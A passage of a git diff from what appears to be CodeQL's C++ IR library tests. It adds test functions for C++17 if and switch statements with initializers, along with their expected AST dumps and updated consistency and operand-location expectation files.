+# 1758|             Type = [IntType] int
+# 1758|             ValueCategory = prvalue(load)
+# 1758|         getRightOperand(): [Literal] 1
+# 1758|             Type = [IntType] int
+# 1758|             Value = [Literal] 1
+# 1758|             ValueCategory = prvalue
+# 1758|       getThen(): [BlockStmt] { ... }
+# 1759|         getStmt(0): [ExprStmt] ExprStmt
+# 1759|           getExpr(): [AssignExpr] ... = ...
+# 1759|               Type = [IntType] int
+# 1759|               ValueCategory = lvalue
+# 1759|             getLValue(): [VariableAccess] x
+# 1759|                 Type = [IntType] int
+# 1759|                 ValueCategory = lvalue
+# 1759|             getRValue(): [AddExpr] ... + ...
+# 1759|                 Type = [IntType] int
+# 1759|                 ValueCategory = prvalue
+# 1759|               getLeftOperand(): [VariableAccess] x
+# 1759|                   Type = [IntType] int
+# 1759|                   ValueCategory = prvalue(load)
+# 1759|               getRightOperand(): [VariableAccess] y
+# 1759|                   Type = [IntType] int
+# 1759|                   ValueCategory = prvalue(load)
+# 1758|       getCondition().getFullyConverted(): [CStyleCast] (bool)...
+# 1758|           Conversion = [BoolConversion] conversion to bool
+# 1758|           Type = [BoolType] bool
+# 1758|           ValueCategory = prvalue
+# 1762|     getStmt(1): [DeclStmt] declaration
+# 1762|       getDeclarationEntry(0): [VariableDeclarationEntry] definition of w
+# 1762|           Type = [IntType] int
+# 1763|     getStmt(2): [IfStmt] if (...) ... 
+# 1763|       getInitialization(): [ExprStmt] ExprStmt
+# 1763|         getExpr(): [AssignExpr] ... = ...
+# 1763|             Type = [IntType] int
+# 1763|             ValueCategory = lvalue
+# 1763|           getLValue(): [VariableAccess] w
+# 1763|               Type = [IntType] int
+# 1763|               ValueCategory = lvalue
+# 1763|           getRValue(): [VariableAccess] x
+# 1763|               Type = [IntType] int
+# 1763|               ValueCategory = prvalue(load)
+# 1763|       getCondition(): [AddExpr] ... + ...
+# 1763|           Type = [IntType] int
+# 1763|           ValueCategory = prvalue
+# 1763|         getLeftOperand(): [VariableAccess] x
+# 1763|             Type = [IntType] int
+# 1763|             ValueCategory = prvalue(load)
+# 1763|         getRightOperand(): [Literal] 1
+# 1763|             Type = [IntType] int
+# 1763|             Value = [Literal] 1
+# 1763|             ValueCategory = prvalue
+# 1763|       getThen(): [BlockStmt] { ... }
+# 1764|         getStmt(0): [ExprStmt] ExprStmt
+# 1764|           getExpr(): [AssignExpr] ... = ...
+# 1764|               Type = [IntType] int
+# 1764|               ValueCategory = lvalue
+# 1764|             getLValue(): [VariableAccess] x
+# 1764|                 Type = [IntType] int
+# 1764|                 ValueCategory = lvalue
+# 1764|             getRValue(): [AddExpr] ... + ...
+# 1764|                 Type = [IntType] int
+# 1764|                 ValueCategory = prvalue
+# 1764|               getLeftOperand(): [VariableAccess] x
+# 1764|                   Type = [IntType] int
+# 1764|                   ValueCategory = prvalue(load)
+# 1764|               getRightOperand(): [VariableAccess] w
+# 1764|                   Type = [IntType] int
+# 1764|                   ValueCategory = prvalue(load)
+# 1763|       getCondition().getFullyConverted(): [CStyleCast] (bool)...
+# 1763|           Conversion = [BoolConversion] conversion to bool
+# 1763|           Type = [BoolType] bool
+# 1763|           ValueCategory = prvalue
+# 1767|     getStmt(3): [IfStmt] if (...) ... 
+# 1767|       getInitialization(): [ExprStmt] ExprStmt
+# 1767|         getExpr(): [AssignExpr] ... = ...
+# 1767|             Type = [IntType] int
+# 1767|             ValueCategory = lvalue
+# 1767|           getLValue(): [VariableAccess] w
+# 1767|               Type = [IntType] int
+# 1767|               ValueCategory = lvalue
+# 1767|           getRValue(): [VariableAccess] x
+# 1767|               Type = [IntType] int
+# 1767|               ValueCategory = prvalue(load)
+# 1767|       getCondition(): [ConditionDeclExpr] (condition decl)
+# 1767|           Type = [BoolType] bool
+# 1767|           ValueCategory = prvalue
+# 1767|         getVariableAccess(): [VariableAccess] w2
+# 1767|             Type = [IntType] int
+# 1767|             ValueCategory = prvalue(load)
+# 1767|         getVariableAccess().getFullyConverted(): [CStyleCast] (bool)...
+# 1767|             Conversion = [BoolConversion] conversion to bool
+# 1767|             Type = [BoolType] bool
+# 1767|             ValueCategory = prvalue
+# 1767|       getThen(): [BlockStmt] { ... }
+# 1768|         getStmt(0): [ExprStmt] ExprStmt
+# 1768|           getExpr(): [AssignExpr] ... = ...
+# 1768|               Type = [IntType] int
+# 1768|               ValueCategory = lvalue
+# 1768|             getLValue(): [VariableAccess] x
+# 1768|                 Type = [IntType] int
+# 1768|                 ValueCategory = lvalue
+# 1768|             getRValue(): [AddExpr] ... + ...
+# 1768|                 Type = [IntType] int
+# 1768|                 ValueCategory = prvalue
+# 1768|               getLeftOperand(): [VariableAccess] x
+# 1768|                   Type = [IntType] int
+# 1768|                   ValueCategory = prvalue(load)
+# 1768|               getRightOperand(): [VariableAccess] w
+# 1768|                   Type = [IntType] int
+# 1768|                   ValueCategory = prvalue(load)
+# 1771|     getStmt(4): [IfStmt] if (...) ... 
+# 1771|       getInitialization(): [DeclStmt] declaration
+# 1771|         getDeclarationEntry(0): [VariableDeclarationEntry] definition of v
+# 1771|             Type = [IntType] int
+# 1771|           getVariable().getInitializer(): [Initializer] initializer for v
+# 1771|             getExpr(): [VariableAccess] x
+# 1771|                 Type = [IntType] int
+# 1771|                 ValueCategory = prvalue(load)
+# 1771|       getCondition(): [ConditionDeclExpr] (condition decl)
+# 1771|           Type = [BoolType] bool
+# 1771|           ValueCategory = prvalue
+# 1771|         getVariableAccess(): [VariableAccess] v2
+# 1771|             Type = [IntType] int
+# 1771|             ValueCategory = prvalue(load)
+# 1771|         getVariableAccess().getFullyConverted(): [CStyleCast] (bool)...
+# 1771|             Conversion = [BoolConversion] conversion to bool
+# 1771|             Type = [BoolType] bool
+# 1771|             ValueCategory = prvalue
+# 1771|       getThen(): [BlockStmt] { ... }
+# 1772|         getStmt(0): [ExprStmt] ExprStmt
+# 1772|           getExpr(): [AssignExpr] ... = ...
+# 1772|               Type = [IntType] int
+# 1772|               ValueCategory = lvalue
+# 1772|             getLValue(): [VariableAccess] x
+# 1772|                 Type = [IntType] int
+# 1772|                 ValueCategory = lvalue
+# 1772|             getRValue(): [AddExpr] ... + ...
+# 1772|                 Type = [IntType] int
+# 1772|                 ValueCategory = prvalue
+# 1772|               getLeftOperand(): [VariableAccess] x
+# 1772|                   Type = [IntType] int
+# 1772|                   ValueCategory = prvalue(load)
+# 1772|               getRightOperand(): [VariableAccess] v
+# 1772|                   Type = [IntType] int
+# 1772|                   ValueCategory = prvalue(load)
+# 1775|     getStmt(5): [DeclStmt] declaration
+# 1775|       getDeclarationEntry(0): [VariableDeclarationEntry] definition of z
+# 1775|           Type = [IntType] int
+# 1775|         getVariable().getInitializer(): [Initializer] initializer for z
+# 1775|           getExpr(): [VariableAccess] x
+# 1775|               Type = [IntType] int
+# 1775|               ValueCategory = prvalue(load)
+# 1776|     getStmt(6): [IfStmt] if (...) ... 
+# 1776|       getCondition(): [VariableAccess] z
+# 1776|           Type = [IntType] int
+# 1776|           ValueCategory = prvalue(load)
+# 1776|       getThen(): [BlockStmt] { ... }
+# 1777|         getStmt(0): [ExprStmt] ExprStmt
+# 1777|           getExpr(): [AssignExpr] ... = ...
+# 1777|               Type = [IntType] int
+# 1777|               ValueCategory = lvalue
+# 1777|             getLValue(): [VariableAccess] x
+# 1777|                 Type = [IntType] int
+# 1777|                 ValueCategory = lvalue
+# 1777|             getRValue(): [AddExpr] ... + ...
+# 1777|                 Type = [IntType] int
+# 1777|                 ValueCategory = prvalue
+# 1777|               getLeftOperand(): [VariableAccess] x
+# 1777|                   Type = [IntType] int
+# 1777|                   ValueCategory = prvalue(load)
+# 1777|               getRightOperand(): [VariableAccess] z
+# 1777|                   Type = [IntType] int
+# 1777|                   ValueCategory = prvalue(load)
+# 1776|       getCondition().getFullyConverted(): [CStyleCast] (bool)...
+# 1776|           Conversion = [BoolConversion] conversion to bool
+# 1776|           Type = [BoolType] bool
+# 1776|           ValueCategory = prvalue
+# 1780|     getStmt(7): [IfStmt] if (...) ... 
+# 1780|       getCondition(): [ConditionDeclExpr] (condition decl)
+# 1780|           Type = [BoolType] bool
+# 1780|           ValueCategory = prvalue
+# 1780|         getVariableAccess(): [VariableAccess] z2
+# 1780|             Type = [IntType] int
+# 1780|             ValueCategory = prvalue(load)
+# 1780|         getVariableAccess().getFullyConverted(): [CStyleCast] (bool)...
+# 1780|             Conversion = [BoolConversion] conversion to bool
+# 1780|             Type = [BoolType] bool
+# 1780|             ValueCategory = prvalue
+# 1780|       getThen(): [BlockStmt] { ... }
+# 1781|         getStmt(0): [ExprStmt] ExprStmt
+# 1781|           getExpr(): [AssignAddExpr] ... += ...
+# 1781|               Type = [IntType] int
+# 1781|               ValueCategory = lvalue
+# 1781|             getLValue(): [VariableAccess] x
+# 1781|                 Type = [IntType] int
+# 1781|                 ValueCategory = lvalue
+# 1781|             getRValue(): [VariableAccess] z2
+# 1781|                 Type = [IntType] int
+# 1781|                 ValueCategory = prvalue(load)
+# 1783|     getStmt(8): [ReturnStmt] return ...
+# 1785| [TopLevelFunction] void switch_initialization(int)
+# 1785|   <params>: 
+# 1785|     getParameter(0): [Parameter] x
+# 1785|         Type = [IntType] int
+# 1785|   getEntryPoint(): [BlockStmt] { ... }
+# 1786|     getStmt(0): [SwitchStmt] switch (...) ... 
+# 1786|       getInitialization(): [DeclStmt] declaration
+# 1786|         getDeclarationEntry(0): [VariableDeclarationEntry] definition of y
+# 1786|             Type = [IntType] int
+# 1786|           getVariable().getInitializer(): [Initializer] initializer for y
+# 1786|             getExpr(): [VariableAccess] x
+# 1786|                 Type = [IntType] int
+# 1786|                 ValueCategory = prvalue(load)
+# 1786|       getExpr(): [AddExpr] ... + ...
+# 1786|           Type = [IntType] int
+# 1786|           ValueCategory = prvalue
+# 1786|         getLeftOperand(): [VariableAccess] x
+# 1786|             Type = [IntType] int
+# 1786|             ValueCategory = prvalue(load)
+# 1786|         getRightOperand(): [Literal] 1
+# 1786|             Type = [IntType] int
+# 1786|             Value = [Literal] 1
+# 1786|             ValueCategory = prvalue
+# 1786|       getStmt(): [BlockStmt] { ... }
+# 1787|         getStmt(0): [SwitchCase] default: 
+# 1788|         getStmt(1): [ExprStmt] ExprStmt
+# 1788|           getExpr(): [AssignExpr] ... = ...
+# 1788|               Type = [IntType] int
+# 1788|               ValueCategory = lvalue
+# 1788|             getLValue(): [VariableAccess] x
+# 1788|                 Type = [IntType] int
+# 1788|                 ValueCategory = lvalue
+# 1788|             getRValue(): [AddExpr] ... + ...
+# 1788|                 Type = [IntType] int
+# 1788|                 ValueCategory = prvalue
+# 1788|               getLeftOperand(): [VariableAccess] x
+# 1788|                   Type = [IntType] int
+# 1788|                   ValueCategory = prvalue(load)
+# 1788|               getRightOperand(): [VariableAccess] y
+# 1788|                   Type = [IntType] int
+# 1788|                   ValueCategory = prvalue(load)
+# 1791|     getStmt(1): [DeclStmt] declaration
+# 1791|       getDeclarationEntry(0): [VariableDeclarationEntry] definition of w
+# 1791|           Type = [IntType] int
+# 1792|     getStmt(2): [SwitchStmt] switch (...) ... 
+# 1792|       getInitialization(): [ExprStmt] ExprStmt
+# 1792|         getExpr(): [AssignExpr] ... = ...
+# 1792|             Type = [IntType] int
+# 1792|             ValueCategory = lvalue
+# 1792|           getLValue(): [VariableAccess] w
+# 1792|               Type = [IntType] int
+# 1792|               ValueCategory = lvalue
+# 1792|           getRValue(): [VariableAccess] x
+# 1792|               Type = [IntType] int
+# 1792|               ValueCategory = prvalue(load)
+# 1792|       getExpr(): [AddExpr] ... + ...
+# 1792|           Type = [IntType] int
+# 1792|           ValueCategory = prvalue
+# 1792|         getLeftOperand(): [VariableAccess] x
+# 1792|             Type = [IntType] int
+# 1792|             ValueCategory = prvalue(load)
+# 1792|         getRightOperand(): [Literal] 1
+# 1792|             Type = [IntType] int
+# 1792|             Value = [Literal] 1
+# 1792|             ValueCategory = prvalue
+# 1792|       getStmt(): [BlockStmt] { ... }
+# 1793|         getStmt(0): [SwitchCase] default: 
+# 1794|         getStmt(1): [ExprStmt] ExprStmt
+# 1794|           getExpr(): [AssignExpr] ... = ...
+# 1794|               Type = [IntType] int
+# 1794|               ValueCategory = lvalue
+# 1794|             getLValue(): [VariableAccess] x
+# 1794|                 Type = [IntType] int
+# 1794|                 ValueCategory = lvalue
+# 1794|             getRValue(): [AddExpr] ... + ...
+# 1794|                 Type = [IntType] int
+# 1794|                 ValueCategory = prvalue
+# 1794|               getLeftOperand(): [VariableAccess] x
+# 1794|                   Type = [IntType] int
+# 1794|                   ValueCategory = prvalue(load)
+# 1794|               getRightOperand(): [VariableAccess] w
+# 1794|                   Type = [IntType] int
+# 1794|                   ValueCategory = prvalue(load)
+# 1797|     getStmt(3): [SwitchStmt] switch (...) ... 
+# 1797|       getInitialization(): [ExprStmt] ExprStmt
+# 1797|         getExpr(): [AssignExpr] ... = ...
+# 1797|             Type = [IntType] int
+# 1797|             ValueCategory = lvalue
+# 1797|           getLValue(): [VariableAccess] w
+# 1797|               Type = [IntType] int
+# 1797|               ValueCategory = lvalue
+# 1797|           getRValue(): [VariableAccess] x
+# 1797|               Type = [IntType] int
+# 1797|               ValueCategory = prvalue(load)
+# 1797|       getExpr(): [ConditionDeclExpr] (condition decl)
+# 1797|           Type = [IntType] int
+# 1797|           ValueCategory = prvalue
+# 1797|         getVariableAccess(): [VariableAccess] w2
+# 1797|             Type = [IntType] int
+# 1797|             ValueCategory = prvalue(load)
+# 1797|       getStmt(): [BlockStmt] { ... }
+# 1798|         getStmt(0): [SwitchCase] default: 
+# 1799|         getStmt(1): [ExprStmt] ExprStmt
+# 1799|           getExpr(): [AssignExpr] ... = ...
+# 1799|               Type = [IntType] int
+# 1799|               ValueCategory = lvalue
+# 1799|             getLValue(): [VariableAccess] x
+# 1799|                 Type = [IntType] int
+# 1799|                 ValueCategory = lvalue
+# 1799|             getRValue(): [AddExpr] ... + ...
+# 1799|                 Type = [IntType] int
+# 1799|                 ValueCategory = prvalue
+# 1799|               getLeftOperand(): [VariableAccess] x
+# 1799|                   Type = [IntType] int
+# 1799|                   ValueCategory = prvalue(load)
+# 1799|               getRightOperand(): [VariableAccess] w
+# 1799|                   Type = [IntType] int
+# 1799|                   ValueCategory = prvalue(load)
+# 1802|     getStmt(4): [SwitchStmt] switch (...) ... 
+# 1802|       getInitialization(): [DeclStmt] declaration
+# 1802|         getDeclarationEntry(0): [VariableDeclarationEntry] definition of v
+# 1802|             Type = [IntType] int
+# 1802|           getVariable().getInitializer(): [Initializer] initializer for v
+# 1802|             getExpr(): [VariableAccess] x
+# 1802|                 Type = [IntType] int
+# 1802|                 ValueCategory = prvalue(load)
+# 1802|       getExpr(): [ConditionDeclExpr] (condition decl)
+# 1802|           Type = [IntType] int
+# 1802|           ValueCategory = prvalue
+# 1802|         getVariableAccess(): [VariableAccess] v2
+# 1802|             Type = [IntType] int
+# 1802|             ValueCategory = prvalue(load)
+# 1802|       getStmt(): [BlockStmt] { ... }
+# 1803|         getStmt(0): [SwitchCase] default: 
+# 1804|         getStmt(1): [ExprStmt] ExprStmt
+# 1804|           getExpr(): [AssignExpr] ... = ...
+# 1804|               Type = [IntType] int
+# 1804|               ValueCategory = lvalue
+# 1804|             getLValue(): [VariableAccess] x
+# 1804|                 Type = [IntType] int
+# 1804|                 ValueCategory = lvalue
+# 1804|             getRValue(): [AddExpr] ... + ...
+# 1804|                 Type = [IntType] int
+# 1804|                 ValueCategory = prvalue
+# 1804|               getLeftOperand(): [VariableAccess] x
+# 1804|                   Type = [IntType] int
+# 1804|                   ValueCategory = prvalue(load)
+# 1804|               getRightOperand(): [VariableAccess] v
+# 1804|                   Type = [IntType] int
+# 1804|                   ValueCategory = prvalue(load)
+# 1807|     getStmt(5): [DeclStmt] declaration
+# 1807|       getDeclarationEntry(0): [VariableDeclarationEntry] definition of z
+# 1807|           Type = [IntType] int
+# 1807|         getVariable().getInitializer(): [Initializer] initializer for z
+# 1807|           getExpr(): [VariableAccess] x
+# 1807|               Type = [IntType] int
+# 1807|               ValueCategory = prvalue(load)
+# 1808|     getStmt(6): [SwitchStmt] switch (...) ... 
+# 1808|       getExpr(): [VariableAccess] z
+# 1808|           Type = [IntType] int
+# 1808|           ValueCategory = prvalue(load)
+# 1808|       getStmt(): [BlockStmt] { ... }
+# 1809|         getStmt(0): [SwitchCase] default: 
+# 1810|         getStmt(1): [ExprStmt] ExprStmt
+# 1810|           getExpr(): [AssignExpr] ... = ...
+# 1810|               Type = [IntType] int
+# 1810|               ValueCategory = lvalue
+# 1810|             getLValue(): [VariableAccess] x
+# 1810|                 Type = [IntType] int
+# 1810|                 ValueCategory = lvalue
+# 1810|             getRValue(): [AddExpr] ... + ...
+# 1810|                 Type = [IntType] int
+# 1810|                 ValueCategory = prvalue
+# 1810|               getLeftOperand(): [VariableAccess] x
+# 1810|                   Type = [IntType] int
+# 1810|                   ValueCategory = prvalue(load)
+# 1810|               getRightOperand(): [VariableAccess] z
+# 1810|                   Type = [IntType] int
+# 1810|                   ValueCategory = prvalue(load)
+# 1813|     getStmt(7): [SwitchStmt] switch (...) ... 
+# 1813|       getExpr(): [ConditionDeclExpr] (condition decl)
+# 1813|           Type = [IntType] int
+# 1813|           ValueCategory = prvalue
+# 1813|         getVariableAccess(): [VariableAccess] z2
+# 1813|             Type = [IntType] int
+# 1813|             ValueCategory = prvalue(load)
+# 1813|       getStmt(): [BlockStmt] { ... }
+# 1814|         getStmt(0): [SwitchCase] default: 
+# 1815|         getStmt(1): [ExprStmt] ExprStmt
+# 1815|           getExpr(): [AssignAddExpr] ... += ...
+# 1815|               Type = [IntType] int
+# 1815|               ValueCategory = lvalue
+# 1815|             getLValue(): [VariableAccess] x
+# 1815|                 Type = [IntType] int
+# 1815|                 ValueCategory = lvalue
+# 1815|             getRValue(): [VariableAccess] z2
+# 1815|                 Type = [IntType] int
+# 1815|                 ValueCategory = prvalue(load)
+# 1817|     getStmt(8): [ReturnStmt] return ...
 perf-regression.cpp:
 #    4| [CopyAssignmentOperator] Big& Big::operator=(Big const&)
 #    4|   <params>: 
diff --git a/cpp/ql/test/library-tests/ir/ir/aliased_ssa_consistency.expected b/cpp/ql/test/library-tests/ir/ir/aliased_ssa_consistency.expected
index 79887fffc1f..ddb936babaa 100644
--- a/cpp/ql/test/library-tests/ir/ir/aliased_ssa_consistency.expected
+++ b/cpp/ql/test/library-tests/ir/ir/aliased_ssa_consistency.expected
@@ -6,6 +6,8 @@ missingOperandType
 duplicateChiOperand
 sideEffectWithoutPrimary
 instructionWithoutSuccessor
+| ir.cpp:1757:28:1757:28 | InitializeParameter: x | Instruction 'InitializeParameter: x' has no successors in function '$@'. | ir.cpp:1757:6:1757:22 | void if_initialization(int) | void if_initialization(int) |
+| ir.cpp:1785:32:1785:32 | InitializeParameter: x | Instruction 'InitializeParameter: x' has no successors in function '$@'. | ir.cpp:1785:6:1785:26 | void switch_initialization(int) | void switch_initialization(int) |
 ambiguousSuccessors
 unexplainedLoop
 unnecessaryPhiInstruction
diff --git a/cpp/ql/test/library-tests/ir/ir/aliased_ssa_consistency_unsound.expected b/cpp/ql/test/library-tests/ir/ir/aliased_ssa_consistency_unsound.expected
index 79887fffc1f..ddb936babaa 100644
--- a/cpp/ql/test/library-tests/ir/ir/aliased_ssa_consistency_unsound.expected
+++ b/cpp/ql/test/library-tests/ir/ir/aliased_ssa_consistency_unsound.expected
@@ -6,6 +6,8 @@ missingOperandType
 duplicateChiOperand
 sideEffectWithoutPrimary
 instructionWithoutSuccessor
+| ir.cpp:1757:28:1757:28 | InitializeParameter: x | Instruction 'InitializeParameter: x' has no successors in function '$@'. | ir.cpp:1757:6:1757:22 | void if_initialization(int) | void if_initialization(int) |
+| ir.cpp:1785:32:1785:32 | InitializeParameter: x | Instruction 'InitializeParameter: x' has no successors in function '$@'. | ir.cpp:1785:6:1785:26 | void switch_initialization(int) | void switch_initialization(int) |
 ambiguousSuccessors
 unexplainedLoop
 unnecessaryPhiInstruction
diff --git a/cpp/ql/test/library-tests/ir/ir/ir.cpp b/cpp/ql/test/library-tests/ir/ir/ir.cpp
index 874e4986095..4c49d95d453 100644
--- a/cpp/ql/test/library-tests/ir/ir/ir.cpp
+++ b/cpp/ql/test/library-tests/ir/ir/ir.cpp
@@ -1754,6 +1754,68 @@ int implicit_copy_constructor_test(
     CopyConstructorTestVirtualClass cy = y;
 }
 
+void if_initialization(int x) {
+    if (int y = x; x + 1) {
+        x = x + y;
+    }
+
+    int w;
+    if (w = x; x + 1) {
+        x = x + w;
+    }
+
+    if (w = x; int w2 = w) {
+        x = x + w;
+    }
+
+    if (int v = x; int v2 = v) {
+        x = x + v;
+    }
+
+    int z = x;
+    if (z) {
+        x = x + z;
+    }
+
+    if (int z2 = z) {
+        x += z2;
+    }
+}
+
+void switch_initialization(int x) {
+    switch (int y = x; x + 1) {
+    default:
+        x = x + y;
+    }
+
+    int w;
+    switch (w = x; x + 1) {
+    default:
+        x = x + w;
+    }
+
+    switch (w = x; int w2 = w) {
+    default:
+        x = x + w;
+    }
+
+    switch (int v = x; int v2 = v) {
+    default:
+        x = x + v;
+    }
+
+    int z = x;
+    switch (z) {
+    default:
+        x = x + z;
+    }
+
+    switch (int z2 = z) {
+    default:
+        x += z2;
+    }
+}
+
 int global_1;
 
 int global_2 = 1;
diff --git a/cpp/ql/test/library-tests/ir/ir/operand_locations.expected b/cpp/ql/test/library-tests/ir/ir/operand_locations.expected
index 3d8cbd257d3..50cf44cc99e 100644
--- a/cpp/ql/test/library-tests/ir/ir/operand_locations.expected
+++ b/cpp/ql/test/library-tests/ir/ir/operand_locations.expected
@@ -4841,9 +4841,6 @@
 | ir.cpp:1043:24:1043:24 | SideEffect | ~m1043_20 |
 | ir.cpp:1043:31:1043:31 | Address | &:r1043_9 |
 | ir.cpp:1043:36:1043:55 | Address | &:r1043_11 |
-| ir.cpp:1043:43:1043:43 | Address | &:r1043_16 |
-| ir.cpp:1043:43:1043:43 | Arg(this) | this:r1043_16 |
-| ir.cpp:1043:43:1043:43 | SideEffect | ~m1043_20 |
 | ir.cpp:1043:43:1043:54 | Address | &:r1043_22 |
 | ir.cpp:1043:43:1043:54 | Address | &:r1043_24 |
 | ir.cpp:1043:43:1043:54 | Address | &:r1043_25 |
@@ -4864,8 +4861,11 @@
 | ir.cpp:1043:45:1043:49 | SideEffect | ~m1043_4 |
 | ir.cpp:1043:45:1043:49 | Unary | r1043_13 |
 | ir.cpp:1043:45:1043:49 | Unary | r1043_15 |
-| ir.cpp:1043:53:1043:53 | Load | ~m1043_20 |
-| ir.cpp:1043:53:1043:53 | Right | r1043_26 |
+| ir.cpp:1043:52:1043:52 | Address | &:r1043_16 |
+| ir.cpp:1043:52:1043:52 | Arg(this) | this:r1043_16 |
+| ir.cpp:1043:52:1043:52 | SideEffect | ~m1043_20 |
+| ir.cpp:1043:54:1043:54 | Load | ~m1043_20 |
+| ir.cpp:1043:54:1043:54 | Right | r1043_26 |
 | ir.cpp:1043:58:1043:58 | ChiPartial | partial:m1043_9 |
 | ir.cpp:1043:58:1043:58 | ChiTotal | total:m1043_3 |
 | ir.cpp:1043:58:1043:58 | StoreValue | r1043_8 |
@@ -4980,9 +4980,6 @@
 | ir.cpp:1047:34:1047:34 | SideEffect | ~m1047_20 |
 | ir.cpp:1047:41:1047:41 | Address | &:r1047_9 |
 | ir.cpp:1047:46:1047:65 | Address | &:r1047_11 |
-| ir.cpp:1047:53:1047:53 | Address | &:r1047_16 |
-| ir.cpp:1047:53:1047:53 | Arg(this) | this:r1047_16 |
-| ir.cpp:1047:53:1047:53 | SideEffect | ~m1047_20 |
 | ir.cpp:1047:53:1047:64 | Address | &:r1047_23 |
 | ir.cpp:1047:53:1047:64 | Load | ~m1047_20 |
 | ir.cpp:1047:53:1047:64 | StoreValue | r1047_24 |
@@ -4997,6 +4994,9 @@
 | ir.cpp:1047:55:1047:59 | SideEffect | ~m1047_4 |
 | ir.cpp:1047:55:1047:59 | Unary | r1047_13 |
 | ir.cpp:1047:55:1047:59 | Unary | r1047_15 |
+| ir.cpp:1047:62:1047:62 | Address | &:r1047_16 |
+| ir.cpp:1047:62:1047:62 | Arg(this) | this:r1047_16 |
+| ir.cpp:1047:62:1047:62 | SideEffect | ~m1047_20 |
 | ir.cpp:1047:63:1047:63 | Right | r1047_22 |
 | ir.cpp:1047:68:1047:68 | StoreValue | r1047_8 |
 | ir.cpp:1047:68:1047:68 | Unary | r1047_7 |
@@ -5105,9 +5105,6 @@
 | ir.cpp:1051:39:1051:39 | SideEffect | ~m1051_20 |
 | ir.cpp:1051:46:1051:46 | Address | &:r1051_9 |
 | ir.cpp:1051:51:1051:70 | Address | &:r1051_11 |
-| ir.cpp:1051:58:1051:58 | Address | &:r1051_16 |
-| ir.cpp:1051:58:1051:58 | Arg(this) | this:r1051_16 |
-| ir.cpp:1051:58:1051:58 | SideEffect | ~m1051_20 |
 | ir.cpp:1051:58:1051:69 | Address | &:r1051_22 |
 | ir.cpp:1051:58:1051:69 | Address | &:r1051_24 |
 | ir.cpp:1051:58:1051:69 | Address | &:r1051_26 |
@@ -5128,6 +5125,9 @@
 | ir.cpp:1051:60:1051:64 | SideEffect | ~m1051_4 |
 | ir.cpp:1051:60:1051:64 | Unary | r1051_13 |
 | ir.cpp:1051:60:1051:64 | Unary | r1051_15 |
+| ir.cpp:1051:67:1051:67 | Address | &:r1051_16 |
+| ir.cpp:1051:67:1051:67 | Arg(this) | this:r1051_16 |
+| ir.cpp:1051:67:1051:67 | SideEffect | ~m1051_20 |
 | ir.cpp:1051:73:1051:73 | ChiPartial | partial:m1051_9 |
 | ir.cpp:1051:73:1051:73 | ChiTotal | total:m1051_3 |
 | ir.cpp:1051:73:1051:73 | StoreValue | r1051_8 |
@@ -5192,9 +5192,6 @@
 | ir.cpp:1054:49:1054:49 | SideEffect | ~m1054_20 |
 | ir.cpp:1054:56:1054:56 | Address | &:r1054_9 |
 | ir.cpp:1054:61:1054:88 | Address | &:r1054_11 |
-| ir.cpp:1054:68:1054:68 | Address | &:r1054_16 |
-| ir.cpp:1054:68:1054:68 | Arg(this) | this:r1054_16 |
-| ir.cpp:1054:68:1054:68 | SideEffect | ~m1054_20 |
 | ir.cpp:1054:68:1054:87 | Address | &:r1054_37 |
 | ir.cpp:1054:68:1054:87 | Load | ~m1054_20 |
 | ir.cpp:1054:68:1054:87 | StoreValue | r1054_38 |
@@ -5209,6 +5206,9 @@
 | ir.cpp:1054:70:1054:74 | SideEffect | ~m1054_4 |
 | ir.cpp:1054:70:1054:74 | Unary | r1054_13 |
 | ir.cpp:1054:70:1054:74 | Unary | r1054_15 |
+| ir.cpp:1054:77:1054:77 | Address | &:r1054_16 |
+| ir.cpp:1054:77:1054:77 | Arg(this) | this:r1054_16 |
+| ir.cpp:1054:77:1054:77 | SideEffect | ~m1054_20 |
 | ir.cpp:1054:78:1054:82 | Address | &:r1054_22 |
 | ir.cpp:1054:78:1054:82 | Address | &:r1054_24 |
 | ir.cpp:1054:78:1054:82 | Left | r1054_25 |
@@ -8223,45 +8223,51 @@
 | ir.cpp:1754:42:1754:42 | SideEffect | ~m1752_4 |
 | ir.cpp:1754:42:1754:42 | Unary | r1754_5 |
 | ir.cpp:1754:42:1754:42 | Unary | r1754_6 |
-| ir.cpp:1759:5:1759:12 | Address | &:r1759_3 |
-| ir.cpp:1759:5:1759:12 | SideEffect | ~m1759_6 |
-| ir.cpp:1759:16:1759:16 | ChiPartial | partial:m1759_5 |
-| ir.cpp:1759:16:1759:16 | ChiTotal | total:m1759_2 |
-| ir.cpp:1759:16:1759:16 | StoreValue | r1759_4 |
-| ir.cpp:1763:18:1763:25 | Address | &:r1763_3 |
-| ir.cpp:1763:18:1763:25 | Arg(this) | this:r1763_3 |
-| ir.cpp:1763:18:1763:25 | SideEffect | ~m1763_10 |
-| ir.cpp:1763:27:1763:27 | Arg(0) | 0:r1763_5 |
-| ir.cpp:1763:27:1763:28 | CallTarget | func:r1763_4 |
-| ir.cpp:1763:27:1763:28 | ChiPartial | partial:m1763_7 |
-| ir.cpp:1763:27:1763:28 | ChiPartial | partial:m1763_9 |
-| ir.cpp:1763:27:1763:28 | ChiTotal | total:m1763_2 |
-| ir.cpp:1763:27:1763:28 | ChiTotal | total:m1763_8 |
-| ir.cpp:1763:27:1763:28 | SideEffect | ~m1763_2 |
-| ir.cpp:1765:18:1765:25 | Address | &:r1765_3 |
-| ir.cpp:1765:18:1765:25 | Arg(this) | this:r1765_3 |
-| ir.cpp:1765:18:1765:25 | SideEffect | ~m1765_10 |
-| ir.cpp:1765:28:1765:47 | CallTarget | func:r1765_4 |
-| ir.cpp:1765:28:1765:47 | ChiPartial | partial:m1765_7 |
-| ir.cpp:1765:28:1765:47 | ChiPartial | partial:m1765_9 |
-| ir.cpp:1765:28:1765:47 | ChiTotal | total:m1765_2 |
-| ir.cpp:1765:28:1765:47 | ChiTotal | total:m1765_8 |
-| ir.cpp:1765:28:1765:47 | SideEffect | ~m1765_2 |
-| ir.cpp:1765:46:1765:46 | Arg(0) | 0:r1765_5 |
-| ir.cpp:1767:7:1767:19 | Address | &:r1767_3 |
-| ir.cpp:1767:7:1767:19 | SideEffect | ~m1767_8 |
-| ir.cpp:1767:23:1767:37 | ChiPartial | partial:m1767_7 |
-| ir.cpp:1767:23:1767:37 | ChiTotal | total:m1767_2 |
-| ir.cpp:1767:23:1767:37 | StoreValue | r1767_6 |
-| ir.cpp:1767:23:1767:37 | Unary | r1767_4 |
-| ir.cpp:1767:23:1767:37 | Unary | r1767_5 |
-| ir.cpp:1769:5:1769:12 | Address | &:r1769_3 |
-| ir.cpp:1769:5:1769:12 | SideEffect | ~m1769_7 |
